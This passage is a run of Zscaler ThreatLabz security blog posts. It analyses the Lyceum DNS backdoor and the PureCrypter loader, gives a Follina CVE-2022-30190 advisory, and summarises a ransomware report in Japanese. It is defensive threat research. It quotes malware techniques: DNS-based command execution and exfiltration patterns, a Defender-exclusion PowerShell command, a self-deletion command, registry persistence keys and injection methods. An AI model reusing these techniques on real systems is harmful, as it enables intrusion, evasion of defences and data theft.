previously generated BotID before initiation of the DNS request. The DNS query is then sent to the DNS server in order to fetch the “TXT” records for the provided domain name by passing three arguments to the BeginDigIt() function: Name: Target Domain name - qType: Records to be queried - TXT qClass: Dns class value - IN (default) Fig 7. Setup of DNS Query parameters before execution of BeginDigIt() Function The BeginDigIt function then executes the main DNS resolver function “DigIt.” This sends across the DNS query in order to fetch the DNS record for the provided target domain name to the DNS server, and parses the response as seen in the code snippet below. Fig 8. DNS Query DigIt Function Comparing the Digit Resolver Code DigIt() function strings with the Dig.Net tool output from the screenshot shown below provides us further assurance that the Dig.Net tool has been customized by the Lyceum Group to develop the following .Net based DNS backdoor. . Fig 9. Original GUI Output The malware utilizes a DNS attack technique known as “DNS Hijacking” where in the DNS server is being controlled by the attackers which would allow them to manipulate the response to the DNS queries. Now let's analyze the DNS Hijacking routine below. As discussed earlier, the backdoor performs initial DNS queries in order to fetch the TXT records for the domain EF58DF5 is the BotID generated based on the Windows user to receive commands from the C2 server. Fig 10. DNS query to attacker-controlled DNS server to fetch TXT records. As can be seen in the above screenshot, a DNS query is performed to fetch the TXT records for the domain name: to the DNS Server: 85[.]206[.]175[.]199 which is the attacker-controlled DNS server previously initialized. Here’s where the DNS hijacking happens: As the malware sends across a DNS query to fetch the TXT records to the attacker-controlled DNS server, the attacker controlled DNS server responds with an incorrect response consisting of the commands to be executed by the backdoor such as ipconfig,whoami,uploaddd etc as shown in the screenshot below. Fig 11. Ipconfig command returned as the TXT record from the attacker controlled DNS server Following is the DIG.Net DNS response received by the backdoor and then further parsed in order to execute commands on the infected machine. Fig 12. output received by the backdoor The above screenshot consists of the DNS query performed to the attacker controlled DNS server along with the target domain name The Answer section consists of the query response, which includes the target Domain name and the response to the TXT record with two values, “ipconfig” - command to be executed and “1291” - Communication ID Next, the response is parsed using multiple pattern regex code routines which parse out the TXT record values—the aforementioned command and communication ID—from the complete response received by the malware. Fig 13. Parsing of TXT Records Next, depending on the command received in the TXT record from the C2 server, there are three functions which can be performed by the Lyceum backdoor: Download Files - If the command received from the DNS query consists of a string: “downloaddd” it initiates the download routine and downloads the file from the URL using DownloadFileAsync(). The URL would be the first 11 bytes of the TXT record response value, and stores that downloaded file in the Downloads folder as shown below in the code snippet. This functionality can be leveraged to drop additional malware on the infected machine. Fig 14. Backdoor Download Routine Upload Files - If the command received from the DNS query consists of a string: “uploaddd”, it uploads the local file on the disk using UploadFileAsync() function to an External URL after parsing the TXT record response value into two variables: uriString (external URL) and filename (Local File). This functionality can be leveraged to exfiltrate data. Fig 14. Backdoor Upload Routine Command Execution - If none of the above strings match the TXT record response then the response is passed on to the Command execution routine. There, the response to the txt record is executed as a command on the infected machine using “cmd.exe /c <txt_record_response_command>” and the command output is sent across to the C2 server in the form of DNS A Records. Fig 15. Backdoor Command Execution Routine In this case, the TXT record response we received for the DNS query performed against the attacker controlled DNS server is “ipconfig”. This response initiates the Command execution routine of the backdoor and thus the command “ipconfig” would be executed on the infected machine - cmd.exe /c ipconfig Further, the command output is exfiltrated to the C2 server, encoded in Base64 and then concatenated with the Communication ID and the previously generated BotUID using “$” as the separator. Fig 16. Command Output exfiltration Pattern setup Data Exfil Pattern: [base64encoded_command_output]$[communication_id]$[Bot_ID] Once the command output is encoded in the above mentioned pattern, the DNS backdoor then sends across the output to the C2 server via DNS query in the form of A records in multiple blocks of queries, where the A record values consists of the encoded command output. Once the command output is transmitted completely, an “Enddd” command is sent across in a Base64-encoded data exfil pattern to notify the end of the command output as shown below in the screenshot. Fig 17. Exfiltration of Encoded Command Output via A records queries on the attacker controlled DNS server Decoded A Records: IPConfig Command Output - Encoded A record = ICAgSVB2NCBBZGRyZXNzLiAuIC4gLiAuIC4gLiAuIC4gLiAuIDogMTkyLjE2OC4.yLjEw$929$5686BB2F Decoded A record = IPv4 Address. . . . . . . . . . . : $ ComID: 929 $ UID: 5686BB2F End Command - Encoded A record = RW5kZGQ=$1291$$EF58DF5F Decoded A record = Enddd $ ComID: 1291 $ UID: EF58DF5F Cloud Sandbox detection Fig 18: The Zscaler Cloud Sandbox successfully detected the malware. Conclusion APT threat actors are continuously evolving their tactics and malware to successfully carry out attacks against their targets. Attackers continuously embrace new anti-analysis tricks to evade security solutions; re-packaging of malware makes static analysis even more challenging. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe. MITRE ATT&CK mapping: T1059 Command and Scripting Interpreter T1055 Process Injection T1562 Disable or Modify Tools T1010 Application Window Discovery T1018 Remote System Discovery T1057 Process Discovery T1518 Security Software Discovery T1071 Application Layer Protocol IOC: Docm Hash: 13814a190f61b36aff24d6aa1de56fe2 Exe Hash: 8199f14502e80581000bd5b3bda250ee Domain and URL's: cyberclub[.]one hxxp://news-spot[.]live/Reports/1/?id=1111&pid=a52 hxxp://news-spot[.]live/Reports/1/?id=1111&pid=a28 hxxp://news-spot[.]live/Reports/1/?id=1111&pid=a40 hxxp://news-spot[.]live/Reports/1/45/DnsSystem[.]exe About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Stay updated on ThreatLabz research by subscribing to our Trust Issues newsletter today. Thu, 09 6月 2022 18:12:05 -0700 Niraj Shivtarkar Technical Analysis of PureCrypter: A Fully-Functional Loader Distributing Remote Access Trojans and Information Stealers Key points PureCrypter is a fully-featured loader being sold since at least March 2021 The malware has been observed distributing a variety of remote access trojans and information stealers The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products PureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format Summary PureCrypter is actively being developed by a threat actor using the moniker “PureCoder”. The malware has been sold and advertised since at least March 2021 according to the author’s website At the time of publication, PureCrypter is for sale with a cost of $59. Figure 1 shows PureCrypter’s website with a malware builder that provides a number of options including the following: Fake messages (e.g. fake error message to show to the user) Binder (additional file to be written to disk) Injection types (method to load the final stage) Persistence (startup) Optional features (mainly defense mechanisms) Figure 1. Example screenshot of the PureCrypter website At the top of the builder, a tab bar indicates the presence of additional tools (e.g., Office macro builder and Downloader). These tools are likely used for the initial infection vector. PureCrypter has been growing in popularity with a number of information stealers and remote access trojans (RATs) being deployed by it. ThreatLabz has observed PureCrypter being used to distribute the following malware families: AgentTesla Arkei AsyncRAT Azorult DcRAT LokiBotStealer Nanocore RedLineStealer Remcos SnakeKeylogger WarzoneRAT Overview of an infection process The sample with the SHA256 hash 4a88f9feaed04917f369fe5089f5c09f791bf1214673f6313196188e98093d74 was analyzed for this blog. This sample is an image (.img) file containing a fake .bat file named 63342221.BAT. However, this first-stage is in fact a simple .NET downloader that will execute a second-stage payload in memory. This first-stage downloader is likely part of the PureCrypter package. The downloaded second-stage is the main PureCrypter payload, which will decrypt various resources and parse an internal configuration file that determines the malware’s settings.Finally, PureCrypter will inject the final malware payload inside another process. In this sample, PureCrypter injects a SnakeKeylogger sample inside the process MSBuild.exe. The process for each of these PureCrypter stages is described in detail below. First-stage Downloader PureCrypter’s first-stage is a simple downloader. In this example, the downloader was disguised as a fake date console application. The main function for this application is shown below in Figure 2. Figure 2. PureCrypter downloader main function The application secretly downloads a .NET assembly from a command and control server in order to bypass security products. The bytes of the assembly are completely reversed and this same technique is used across PureCrypter’s different stages. The second-stage filename typically has a fake extension such as “jpg”, “png” or “log” and/or a legitimate-looking filename (e.g., “EpicGames.jpg”). The sample analyzed by ThreatLabz downloaded the second-stage from http://gbtak[.]ir/wp-content/Ygjklu.log (the SHA256 was 7bd6a945f1de0e390d2669c027549b49107bf116f8b064bf86b5e897794f46f9 after the bytes were reversed) as shown in Figure 3. Figure 3. PureCrypter downloader code to retrieve the second-stage payload The first-stage then loads the assembly, retrieves the hardcoded name of a method to call and invokes it. Second-stage Injector The second-stage payload is a more sophisticated piece of code and the core component of PureCrypter. On top of that, the .NET assembly is obfuscated with the commercial tool SmartAssembly. Resources and Assemblies Obfuscation As part of the SmartAssembly’s obfuscation, the module entrypoint first adds an assembly and a resource resolver. An extra assembly resolver is added to handle compressed and/or encrypted data. Basically, when an assembly is referenced the resolver will capture that event and try to load the assembly from its resources. The requested assembly name is checked against a list of hardcoded assembly tokens or names (Figure 4). Figure 4. PureCrypter’s obfuscation assembly resolver callback There are also some additional headers present including a hardcoded array shown in Figure 5. Figure 5. Hardcoded array of assembly information The array includes flags that determine how the second-stage payload is stored and whether it should be written to disk. These flags have the following meaning: Flag value Description z indicates the assembly is compressed and/or encrypted t indicates the assembly should be written to the disk In the case of the “z” flag, PureCrypter checks if the resource string contains the header “{z}” as described here. The following byte describes how the data is stored as shown below: Flag value Description 3 the assembly is encrypted with AES-CBC 1 the assembly is compressed with Zlib The sample analyzed by ThreatLabz had the AES key 2F820378FEEFBD90987D05D28F0FF0FE and initialization vector (IV) 742CA81F5AC2028E04861092F9F72ECB. This second-stage PureCrypter sample analyzed by ThreatLabz contained 2 resources: a SnakeKeylogger variant (the bytes were reversed and gzip compressed) and a resource-only .NET library that contains the following two compressed (raw inflate) libraries: Costura library to embed references as resources Protobuf library for object deserialization In this case, SmartAssembly uses two levels of resource resolvers. PureCrypter Features The main function of the PureCrypter injector starts by reversing, decompressing (gunzip) and deserializing an object into the following protocol buffer (protobuf) structure in Figure 6. Figure 6. PureCrypter protobuf structure The protobuf structure is largely self-explanatory with respect to the capabilities of the PureCrypter injector. Table 1 shows a summary of the most relevant fields. Member(s) name Functionality IsDelay, Delay Wait for the given amount of seconds before running the malware IsFakeMessage, FakeMessageType, FakeMessageText Display a message to the user IsExclusion Run a Base64 encoded powershell command: “Set-MpPreference -ExclusionPath” IsMutex, MutexString Create a global mutex IsAnti Self-deletion via the powershell command: ‘Start-Sleep -s 10; Remove-Item -Path “‘ + FILEPATH + ‘" -Force’ IsDiscord, DiscordWebHookUrl Send an infection status message on Discord (detailed below) BinderSettings* If enabled, decompress (gzip) and drop the content of a ByteArray into %TEMP%\FileName, create the file aw4t2cuogdm.vbs and execute it via WScript.Shell StartupSettings* Install the malware persistence (detailed below) CommandLine, Is64bit, EnumInjection, InjectionPath Run the associated malware via one of the injection methods (detailed below) Table 1. PureCrypter main features Some options provided in the protobuf structure such as Payload and IsMelt are unreferenced. New PureCrypter Features The serialized protobuf object has been updated in more recent samples and contains a few more options as described in Table 2. Member(s) name Functionality ExclusionRegionNames Compare the result of kernel32!GetGeoInfo with a list of regions MemoryBombing Allocate large memory regions between 400000000 and 500000000 bytes via AllocateHGlobal CrypterKiller Removes itself from the system and terminate its process IsAntiDelete Opens itself in read mode and duplicates the handle to “explorer.exe” TelegramToken, TelegramID Like the Discord webhook, the malware can send an infection status via Telegram Table 2. New PureCrypter features Discord Webhook and Telegram The author of PureCrypter provided an option to send an infection status message on a Discord channel. Using the the DiscordWebHookUrl parameter, the malware can send the following dictionary in Table 3 via the WebClient:UploadValues method over TLS 1.2. Name Value username “PureCrypter” content “\r\n:loudspeaker: *NEW EXECUTION*\r\n:one: **User** =” + USERNAME + "\r\n:two: **Date UTC** = " + datetime.get_now + “\r\n:three: **File** = “ + FILENAME + “\r\n” Table 3. PureCrypter UploadValues parameters used by the Discord webhook New variants of the malware can send a similar message to the author via Telegram. The URL is constructed as follows: + protobuf_configuration.TelegramToken + /sendMessage?chat_id= + protobuf_configuration.TelegramID. The message is sent via WebClient:DownloadString over TLS 1.2. Persistence Given the StartupSettings members, the PureCrypter injector can achieve persistence using different methods as shown in Table 4. Firstly, it takes the Location member as a parameter to the Environment.GetFolderPath method. In this case, it retrieves the %APPDATA% folder and appends the value of the FileName member to it. The EnumStartup field indicates how to install the malware on the system (for the sake of simplicity, FILENAME is used as a place-holder for the malware installation path). Startup enumeration Registry key Value name Value data 1 HKCU\Software\Microsoft\Windows\CurrentVersion\Run FILENAME Full path of FILENAME 2 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell explorer,”FILENAME,” 3 HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup Startup FILENAME %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ + directory of FILENAME Table 4. PureCrypter registry persistence Table 5 shows examples of different fake file names and directories used by PureCrypter. Filename svchosts.exe pep\portexpert_1_8_3_22_en.exe LibCADPortable_2_1_4.exe Demo\adudiodg.exe CCleanerProfessional\CCleanerrofessional.exe firefox\firefox.exe Google\chrome.exe Taskmgr.exe tasks\updete.exe Microsoft\DirectX.exe ACDSee Gemstone Photo\ACDSeeemstonePhoto.exe SystemNetwork\OpticChecker.exe PlayerFab 7\PlayerFab7.exe Table 5. Interesting file names used by PureCrypter for persistence Injection Methods The PureCrypter developer provides three different ways to run the associated malware, which is given by the EnumInjection member. However, all of them retrieve the embedded malicious payload by decompressing and reversing one of the resources mentioned earlier. Process Hollowing The process hollowing technique is pretty classic and comes in 32 and 64-bit flavors (shown in Figure 7). PureCrypter starts by creating a suspended process via CreateProcessA(). The command-line argument is built by concatenating the result of GetRuntimeDirectory(), the InjectionPath and an “.exe” extension. If the CommandLine struct member is set, then it is also concatenated. The remote process memory is unmapped via ZwUnmapViewOfSection() and the associated malware is written to the process memory and executed. Figure 7. Code snippet of the PureCrypter process hollowing technique What’s interesting about that technique is the choice of the author to put some junk code in the middle of it (as shown in Figure 8). The code was likely inserted to avoid being detected by a behavioral analysis engine. Here, the Internet Explorer main window is retrieved along with its coordinates, but that information is never subsequently used. Figure 8. Junk code added by PureCrypter Shellcode The injector can also run the embedded resource inside its own process by creating a shellcode (Figure 9). Figure 9. PureCrypter CreateShellcode function Figure 10 shows the disassembly of the shellcode. Figure 10. Disassembled x86-64 PureCrypter shellcode Assembly Loading The last way the PureCrypter injector can run its payload is by loading the resource as an assembly and invoking its entrypoint (as shown in Figure 11). Figure 11. PureCrypter Assembly loading Extra Anti-* functionalities Some methods that don’t seem to be referenced, but still are quite interesting in terms of environment detection are the following: Queries the WMI object Win32_BIOS for the computer’s SerialNumber and Version and checks if it matches the regular expression “VMware|VIRTUAL|A M I|Xen” Queries the WMI object Win32_ComputerSystem for the computer’s Manufacturer and Model and checks if it matches the regular expression “Microsoft|VMWare|Virtual” Calls CheckRemoteDebuggerPresent Checks for the presence of “SbieDLL.dll” module Checks specific resolutions of the display monitor Injected code The sample analyzed delivers a SnakeKeylogger variant. This malware family is just one of many payloads observed by ThreatLabz that is injected via a process hollowing technique. This family is already well-documented and its configuration can easily be extracted. Figure 12 shows the extracted SnakeKeylogger configuration from this sample. Figure 12. SnakeKeylogger extracted configuration for a sample dropped by PureCrypter Conclusion PureCrypter is a fully-functional loader that works as advertised. The usage of Google’s protobuf format makes it more malleable and the use of reversed, compressed and encrypted payloads can make it more difficult for static antivirus engines to detect. ThreatLabz research shows that many different customers are making use of this loader to deliver RATs and information stealers. Cloud Sandbox Detection Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win32.Downloader.PureCrypter Indicators of Compromise IoC Type Value URL http://amcomri.upro[.]site/.tmb/ID44/313606953372.jpg URL https://cdn.discordapp[.]com/attachments/933024359981932666/934953013670449253/Koieiminr.jpg URL http://amcomri.upro[.]site/.tmb/ID44/Ffobs.png URL https://cdn.discordapp[.]com/attachments/911013699026825266/935017324182913104/EpicGames.jpg URL http://gbtak[.]ir/wp-content/846569297734.jpg URL https://cdn.discordapp[.]com/attachments/765212138226450455/934977016292327455/Installer2.log URL https://cdn.discordapp[.]com/attachments/934261104564113441/934945441370497054/FlareTopia_V5.1.log URL https://cdn.discordapp[.]com/attachments/934261104564113441/935058809200730142/new.log URL https://transfer[.]sh/get/3tWVO9/Evbccj.png URL http://gbtak[.]ir/wp-content/759279720662.jpg URL http://sub.areal-parfumi[.]si/kk/Lnnuda.log URL http://sub.areal-parfumi[.]si/new/Ofwcwpm.jpg URL http://gbtak[.]ir/wp-content/078571269562.jpg URL https://cdn.discordapp[.]com/attachments/846778795524751371/935185760783585360/Pmvzeaoj.log URL https://cdn.discordapp[.]com/attachments/933024359981932666/935065418803056680/Lkrbylqxx.png URL http://taskmgrdev[.]com/e/Jymuty.png IMG hash 4a88f9feaed04917f369fe5089f5c09f791bf1214673f6313196188e98093d74 PureCrypter hash 7bd6a945f1de0e390d2669c027549b49107bf116f8b064bf86b5e897794f46f9 SnakeKeylogger hash a6d53346613f2af382cd90163a9604d63f8d89a951896fc40eed00a116aa55c3 Additional PureCrypter hashes IoC type Value PureCrypter hash 00d164491e2ebd3ecbf428ccc6625b2451d32bb4ed4d22049b5f0e1c122642a5 PureCrypter hash 0659b547c308665c4599418f4a7265755c79bdd5a6e737bd291d66c4ad88f2ea PureCrypter hash 07120e2a381420c90943182bbb78da10c900745fd3e07822059a99f22e2f5a85 PureCrypter hash 08d491afea27ac3f1a1b0a4b754f06ffe3a83972a20f0409f589d4b19b1f51ad PureCrypter hash 0c035bd927e7519cfea7974a443b11e750a4bb51595c9095c794ad55f0e7d9f1 PureCrypter hash 1d154a37cd713680bf7fb3d6ecac3873e948d8aa6a92d8c2b9303fe288528054 PureCrypter hash 30687a7d72f92d66043b33d98517334eaeebf8469100e6e9d9082a97225f0215 PureCrypter hash 3b11dd66f52b105532b4418c04422ee744696efe30d9cf18bd8240139b86a18b PureCrypter hash 40be095c396242bea434840750a4043e27da991fd780d1226037810c6a7ad949 PureCrypter hash 450f553ff2e0e7b730c13b75f39d6bdd0f3f0fcd979cfd4430c10e8236149079 PureCrypter hash 4c8393e08ba5affa9d4f6ef36b4f3c1b0e73bdaaf59541349ddd94c3877e4fb2 PureCrypter hash 52498a9de400dcbaa336e304271c8ca079b3a00fd4f7d67ccae4bafc69b7ebc9 PureCrypter hash 5a91202740fab8894bd2ba9e79e957304cc0bace988998a6fbb34318bb6744a9 PureCrypter hash 5deb27582ddb47ac79f37f723c6172f13fd1c69b3b0292b6978ed43123118238 PureCrypter hash 678376204602f3d60d11725b0f62d125caa65b22200ec282e0806e055a9b59ea PureCrypter hash 69c357afce6d9ddf6bebb7322af353ece5f01ad775faea701064ecb59399f6f8 PureCrypter hash 69e332b84a605ec3bb9b58916dfc67bdb1395bca9a652a39714fb5601c13bcdf PureCrypter hash 6f70d347d0153e37d8b5ef466c3c4d6780f6250e4e41936573b9e4108dc42a60 PureCrypter hash 71a9f780abf4872731f0e1e7a0719fc21488725dbfa190c7ae13172f59106aea PureCrypter hash 725dfb6090108ef9901be83fecd7ee079ac4ffc8ccb362285d3788122ceee58a PureCrypter hash 745075ea76634c1909474337c7c24b9f9d6c6289f3d35c432aa77d1d0a3bbd17 PureCrypter hash 78103356b72241c4b2b68f11fd7b7292944280e10c6efca14109e8184b6f18c2 PureCrypter hash 7d1506ab28acec00f168c655da7d21174700e7d7dea0d4e7cb7d8e3a25253a20 PureCrypter hash 8078d4866aeec4d686472aaacc455cad0a1f620c464b649ae919eeae0f097a76 PureCrypter hash 8b32e5df0928da99bb6307484132eca333fa29f675345360d8c804e3a18ddd51 PureCrypter hash 8b6406fb599f15d6d94d449caa513ce9b1a5681de6240d2f55c853e7f30ef802 PureCrypter hash 8b885551aaad4fb74e075580835bf272376436943592a544ce24947a63a07f62 PureCrypter hash 8dfd54f13fc0f6febb428ad4dd189f9d40872115ec5dfa70f70c273be3489584 PureCrypter hash 8e3d4f4738f398addc67a971d66ef7a5a0be2d24ec59d79b50d598b6df1c39d1 PureCrypter hash 8f2716758099b8bf59a43f1e34fe20598d51aa042bf2015cc52cdc55faf110de PureCrypter hash 96c32299a5c63608a5418430180f7118e3f82417eee2d1738d8c0f4d07382f9e PureCrypter hash 96e4b8b7196804e992b3a12d52844867f91964a128e373d0b71af87abb408d82 PureCrypter hash 9bed965557631646dc5f0bf1126a9da3bf9c8c8e92e792055f981668e06c3708 PureCrypter hash a3fa1fd36486728735dd1946526ab48cafedd9176764f85b3dca02d8c5f7b3bd PureCrypter hash a63168f6690cd9ae0c77a1c01e6f6d693da2a3d9f2a7288d47c0db8e4c042347 PureCrypter hash aee87ee6207539196716997496f14e6ff4a33604408611df6057bde786f45fdc PureCrypter hash b290b60e510ea74f8c683c57ddec45f56356ea36e056a96034b2ba515e76d61e PureCrypter hash b9cd62e549467fa12ab1f195c9460e2b1c0ca05a0939072146c40eeb36e34ec3 PureCrypter hash c401070db22f1fa3a5dc170b4b60920c8dde1d1bd7f0404952c13e897f07b820 PureCrypter hash c6f6c51de7437d1312c78ca6cc511e07d4aa13ae0b9fb05c735bf04c83eb4b1f PureCrypter hash c8672708df9df29cef7092a6e1e20c112d03630363bf5a80778106dcb25aaffb PureCrypter hash cd8578553ef4853054ed23c5cce70b8a8f78138d0c23fd969eb240036345030a PureCrypter hash cea55ce28fa1949eb61a44e80e9758370c67783c63cba032da15f51c29bc31a3 PureCrypter hash d40bceefde84d018fcc575a3ed3a87d8721a713d0413108c20747eb8fabc1d86 PureCrypter hash d503906c0873631d49914f3c71e21f102df39c895bd6101f7334627e9262d4fc PureCrypter hash d5d476c8d3613145884eccaabf17a058308fa2029cb388d29c971be5826b48e9 PureCrypter hash d962ac30bd2a16396601e5c02e23b6b901504e4eaa05c1aa2ce66c3926785a33 PureCrypter hash dda2b1156be2f78cda149b124772972feb283e76d2d620d45b9bf4e2962e1830 PureCrypter hash dde2af3c5a56b4bc9d47487fe9bfe17d1fc75cc031f3e47cfc66ba00b02e52c7 PureCrypter hash ed24de04666163d504c0dc88de0ff0912b829260bf35a3c03be2c733ce723856 PureCrypter hash ef92e694882eac465c9b2e89213bfa2925b8598bfae484d20899175aadf1b546 PureCrypter hash f5f09eeaeb6f67631d2624badd1dec21fac53807881c3062f7a49694393ff622 PureCrypter hash fc07d910aec28017f591aa64ad296af8e949fd54f8099fa3c24bb80dedee4fe8 PureCrypter hash fe58ae232f7ea569b42d7bb1883f70911ca89900c9783252e965f77e617c508d Mon, 13 6月 2022 08:49:12 -0700 Romain Dumont Coverage Advisory for CVE-2022-30190: Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability Background On May 27, 2022, nao_sec found a malicious Word document submitted to Virustotal from a Belarus IP address. The document was abusing MS-MSDT URI scheme to execute PowerShell within the context of Word bypassing local Office macro policies. Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability. What is the issue? Malicious Word documents can use the remote template feature to fetch an HTML file from a remote server and the HTML code can use Microsoft's MS-MSDT URI protocol scheme to load additional code and execute PowerShell code. For most malicious Office documents, users have to be convinced to click two separate prompts: Enable editing (Protected Mode) Enable content (Run Macros) To exploit this vulnerability, the attacker just needs the user to open the office document. If a RTF file is used with this exploit, the same vulnerability can be exploited if the user just previews the RTF file using the preview pane in Windows Explorer. According to Microsoft, “A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights”. What systems are impacted? This vulnerability impacts all client and server platforms running the following versions of Windows operating systems. Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows RT 8.1 Windows 8.1 for x64-based systems Windows 8.1 for 32-bit systems Windows 7 for x64-based Systems Service Pack 1 Windows 7 for 32-bit Systems Service Pack 1 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows 10 Version 21H2 for x64-based Systems Windows 10 Version 21H2 for ARM64-based Systems Windows 10 Version 21H2 for 32-bit Systems Windows 11 for ARM64-based Systems Windows 11 for x64-based Systems Windows Server, version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows Server 2022 Azure Edition Core Hotpatch Windows Server 2022 (Server Core installation) Windows Server 2022 Windows 10 Version 21H1 for 32-bit Systems Windows 10 Version 21H1 for ARM64-based Systems Windows 10 Version 21H1 for x64-based Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems What can you do to protect yourself? You can block exploit attempts for CVE-2022-30190 by disabling the MSDT URL protocol which the threat actors abuse to launch troubleshooters and execute code on vulnerable systems. You are also advised to disable the Preview pane in Windows Explorer to prevent the exploit from executing when previewing malicious documents. To disable the MSDT URL Protocol Disabling MSDT URL protocol prevents troubleshooters being launched as links including links throughout the operating system. Troubleshooters can still be accessed using the Get Help application and in system settings as other or additional troubleshooters. Follow these steps to disable: Run Command Prompt as Administrator. To back up the registry key, execute the command “reg export HKEY_CLASSES_ROOT\ms-msdt filename“ Execute the command “reg delete HKEY_CLASSES_ROOT\ms-msdt /f”. How to undo the workaround Run Command Prompt as Administrator. To restore the registry key, execute the command “reg import filename” Zscaler coverage Advanced Threat Protection DOC.Exploit.CVE-2022-30190 XML/ABRisk.XNPT-2 XML/ABRisk.HRVC-3 Advanced Cloud Sandbox Zscaler Advanced Cloud Sandbox would be able to classify and detect Word documents exploiting CVE-2022-30190 as malicious. Our Cloud Sandbox Report for a Word document exploiting CVE-2022-30190 can be seen in Figure 1. Fig 1: Sandbox Report for Docx file with CVE-2022-30190 exploit Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Thu, 02 6月 2022 01:19:04 -0700 Jithin Nair 2022年ThreatLabzランサムウェア現状レポート Zscalerクラウドで検知されたランサムウェアペイロードの分析から、ランサムウェア攻撃が2021年2月~2022年3月にさらに80%増加したことがわかりました。暗号化に情報漏洩を加えた二重恐喝攻撃の増加の勢いがさらに加速し、前年比117%を記録しました。 2022年ThreatLabzランサムウェア現状レポートでは、Zscaler Zero Trust Exchangeで処理される1日あたり2,000億件以上のトランザクションとブロックされる1日あたり億5,000万件の脅威を始めとする、1年分の様々なインテリジェンスを分析して解説し、ランサムウェアが犯罪者にとってこれまで以上に魅力的な攻撃手段になっている現状を紹介しています。攻撃者が、次の3つの主なトレンドに基づき、収益性の高い攻撃を遂行していることがわかりました。 サプライチェーン攻撃:サイバー犯罪者は、信頼できるベンダ関係を悪用して組織を侵害し、複数(時には数百または数千)の被害者を同時に攻撃することで、攻撃の効果を何倍にもすることができます。 RaaS(Ransomware-as-a-Service):アフィリエイトネットワークを使用してランサムウェアを広範囲に拡散することで、ネットワーク侵害のエキスパートであるハッカーが最も高度なランサムウェア集団と利益を共有できるようになります。 二重脅迫型攻撃:データの不正取得、DDoS(分散型サービス拒否)攻撃、顧客のコミュニケーションなどの複数の脅迫を積み重ねることで多くの身代金を手に入れようとする手法です。サプライチェーン攻撃、RaaS(Ransomware-as-a-Service)、多重脅迫型戦術により、攻撃が増加し、成功率が上昇することになりました。 ThreatLabzはこのレポートで、ランサムウェア脅威の現状の包括的な見方を提示し、トレンドデータ、予測、防御ガイダンスを提供しています。さらには、次のような上位11のランサムウェアファミリの攻撃シーケンス、被害者のプロファイル、ビジネスへの影響を詳しく解説しています。 Conti    LockBit    PYSA/Mespinoza    REvil/Sodinokibi    Avaddon    Clop    Grief    Hive    BlackByte    AvosLocker    BlackCat/ALPHV 業界別の二重脅迫型攻撃の変化の割合  主な調査結果 ランサムウェア攻撃が前年比で80%増加しました。すべてのランサムウェアペイロードがゼットスケーラーのクラウドで確認されました。   二重脅迫型ランサムウェアが117%増加しました。二重脅迫型攻撃の増加率が特に大きかった業種は、医療(643%)、外食サービス(460%)、鉱業(229%)、教育(225%)、メディア(200%)、製造業(190%)などです。 製造業は2年連続で最も標的にされた業界になり、二重脅迫型ランサムウェア攻撃のほぼ20%を占めました。   サプライチェーンランサムウェア攻撃が増加しています。攻撃者は信頼できるサプライヤを悪用することで、外部からの攻撃に対する強力な保護が可能な組織も含む多数の組織を同時に攻撃できます。昨年のサプライチェーンランサムウェア攻撃としては、KaseyaとQuantaに対する大規模攻撃や、Log4jの脆弱性を悪用した多数の攻撃などが挙げられます。   RaaS(Ransomware-as-a-Service)による攻撃が増加しています。ランサムウェアグループは、地下犯罪フォーラムでアフィリエイトを募る活動を続けています。これらのアフィリエイトは、大規模の組織を攻撃し、一般的には被害者から手に入れた身代金の約80%と引き換えに、ランサムウェアグループが提供するランサムウェアを利用します。過去1年間の上位のランサムウェアファミリの多く(11分の8)が、RaaSモデルを主な手段として拡散しました。   法執行機関による取り締まりが進んでいます。 昨年の上位のランサムウェアファミリ、特に重要なサービスを標的にする多くのランサムウェアファミリに世界中の法執行機関が注目し、過去2年間で最も悪名高いランサムウェアファミリの3つが、法執行機関によって2021年に解体されました。 ランサムウェアファミリは、消滅するのではなく、名前を変えて活動を続けています。法執行機関による取り締まりが強化されていることから、多くのランサムウェア集団が解散し、同じ(または非常によく似た)戦術を使って、新しい名前の組織として活動を再開しました。   